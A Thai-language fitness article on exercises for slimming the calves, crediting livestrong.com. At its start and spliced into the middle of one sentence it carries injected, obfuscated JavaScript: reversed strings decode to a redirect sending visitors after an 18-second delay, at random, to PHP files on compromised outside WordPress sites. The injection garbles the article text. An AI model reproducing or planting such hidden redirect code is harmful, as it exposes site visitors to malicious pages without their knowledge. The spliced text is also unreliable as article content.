{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andstudios.com-d92b2682-dcf2-4c14-a4aa-5509482110f1-1.jpg)
Slim Muscular Calves: การบริหารเพื่อลดน่อง
การลดน้ำหนักที่ให้ผลดีนั้น ทำสามสิ่งไปพร้อมๆ กัน คือ การควบคุมอาหาร เล่นคาดิโอและการฝึกกล้ามเนื้อ เพื่อจะทำให้ทุกส่วนลดไปพร้อมกันรวมทั้งน่องด้วย การควบคุมอาหารควรในกับข้าวเราประกอบด้วยธัญพืช โปรตีนไขมันต่ำ ผัก ไขมันชนิดดีและผลไม้ เล่นคาดิโอ 150 นาที ทุกๆสัปดาห์โดยเฉพาะอย่างยิ่งเน้นเล่นส่วนขา เช่น ปั่นจักรยาน วิ่งและกระโดดเชือกซึ่งจะช่วยลดน่องได้ บริหารน่อง 2 หรือ 3 ชุดในการฝึกกล้ามเนื้อแต่ละสัปดาห์ และควรเช็คกับผู้เชี่ยวชาญด้านสุขภาพทุกครั้งก่อนการเริ่มการออกกำลังขั้นต่อไป
Get Down
เผาผลาญแคลลอรี่ให้มากขึ้นและกระชับกล้ามเนื้อด้วย compound exercises ซึ่งเป็นการออกกำลังกล้ามเนื้อให้มากกว่าหนึ่งมัดในหนึ่งครั้ง ทำได้โดย ยืนตรง วางตำแหน่งของเท้าให้กว้างเท่ากับหัวไหล่และค่อยๆงอเข่า หลังตรง
ลดสะโพกลงและหยุดเมื่อเอ็นร้อยหวายของคุณขนานกับพื้น ค้างท่านั้นไว้แล้วเขย่งปลายเท้าขึ้น ลดส้นเท้าลงโดยทิ้งน้ำหนักไปที่ส้นเท้า ยกส้นเท้าขึ้นลงเช่นนี้ 12 ถึง 15 ครั้ง หยุดเมื่อน่องของคุณรู้สึกเมื่อยล้า เมื่อถึงครั้งสุดท้ายให้กดส้นเท้าลงแล้วยืนขึ้น
Start Jumping
ท่า jump-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-reach ก็สามารถกระชับกล้ามเนื้อน่อง สะโพกและก้นของคุณได้เช่นกันซึ่งทำได้โดยการยืนตรง งอเข่าให้ตรงกับข้อเท้า ทิ้งสะโพกไปด้านหลังลงน้ำหนักไปที่ส้นเท้าของคุณ ลดสะโพกลงและหยุดเมื่อส้นเท้าจะยกขึ้นเหนือพื้น ยกแขนขึ้นเหยียดไปด้านหลัง กดส้นเท้าลงและกระโดดขึ้นพร้อมๆกับแกว่งแขนขึ้นเหนือศีรษะ ทำลำตัวเป็นเส้นตรงเมื่อคุณกระโดดขึ้น ลงพื้นเบาๆด้วยกลางฝ่าเท้าแล้วค่อยๆวางส้นเท้าลง คุณควรงอเข่าเล็กน้อยขณะลงพื้นเนื่องจากอาจจะทำให้เกิดอาการบาดเจ็บได้หากเกร็งเข่า ทำเช่นนี้ 12-15 ครั้งและหยุดเมื่อกล้ามเนื้อรู้สึกเมื่อยล้า
เพิ่มน้ำหนักเข้าไปบ้าง
ถือดัมเบลขณะบริหารน่องทำให้เพิ่มแรงต้านให้กับขาส่วนล่าง คุณสามารถถือดัมเบลน้ำหนักปานกลางในมือทั้งสองข้างและยืนตรง แขนแนบลำตัว ปล่อยหัวไหล่ตามสบายและวางขาให้อยู่ระนาบเดียวกับหัวไหล่ ทิ้งน้ำหนักลงบนส้นเท้าแล้วเขย่งปลายเท้าขึ้น ค้างไว้ซักครู่แล้วค่อยๆวางส้นเท้าลงโดยทิ้งน้ำหนักลงบนส้นเท้า ทำเช่นนี้ 12-15 ครั้งและหยุดเมื่อน่องของคุณรู้สึกเมื่อยล้า
One at a Time
การยกขาขึ้นแต่ละข้างสามารถช่วยกระชับน่องได้ การที่ยกขาขึ้นทีละข้างจะทำให้จะสามารถป้องกันการใช้กล้ามน่องอีกข้างหนึ่งได้ ท่านี้ทำได้โดยการยืนตรง ยกเท้าขวาขึ้นจากพื้น ทิ้งน้ำหนักไปที่เท้าซ้าย ค่อยๆงอเข่าซ้าย เกร็งหน้าท้อง มองไปข้างหน้า กดข้อเท้าลงแล้วยกเนินเท้าขึ้น ยกให้มากที่สุด จากนั้นลดข้อเท้าลงแตะพื้น ทิ้งน้ำหนักตัวไปที่ข้อเท้าซ้ายและทำซ้ำ ทำเช่นนี้ 12-15 ครั้ง แล้วหยุดเมื่อกล้ามเนื้อรู้สึกเมื่อยล้า
ที่มาwww.livestrong.com
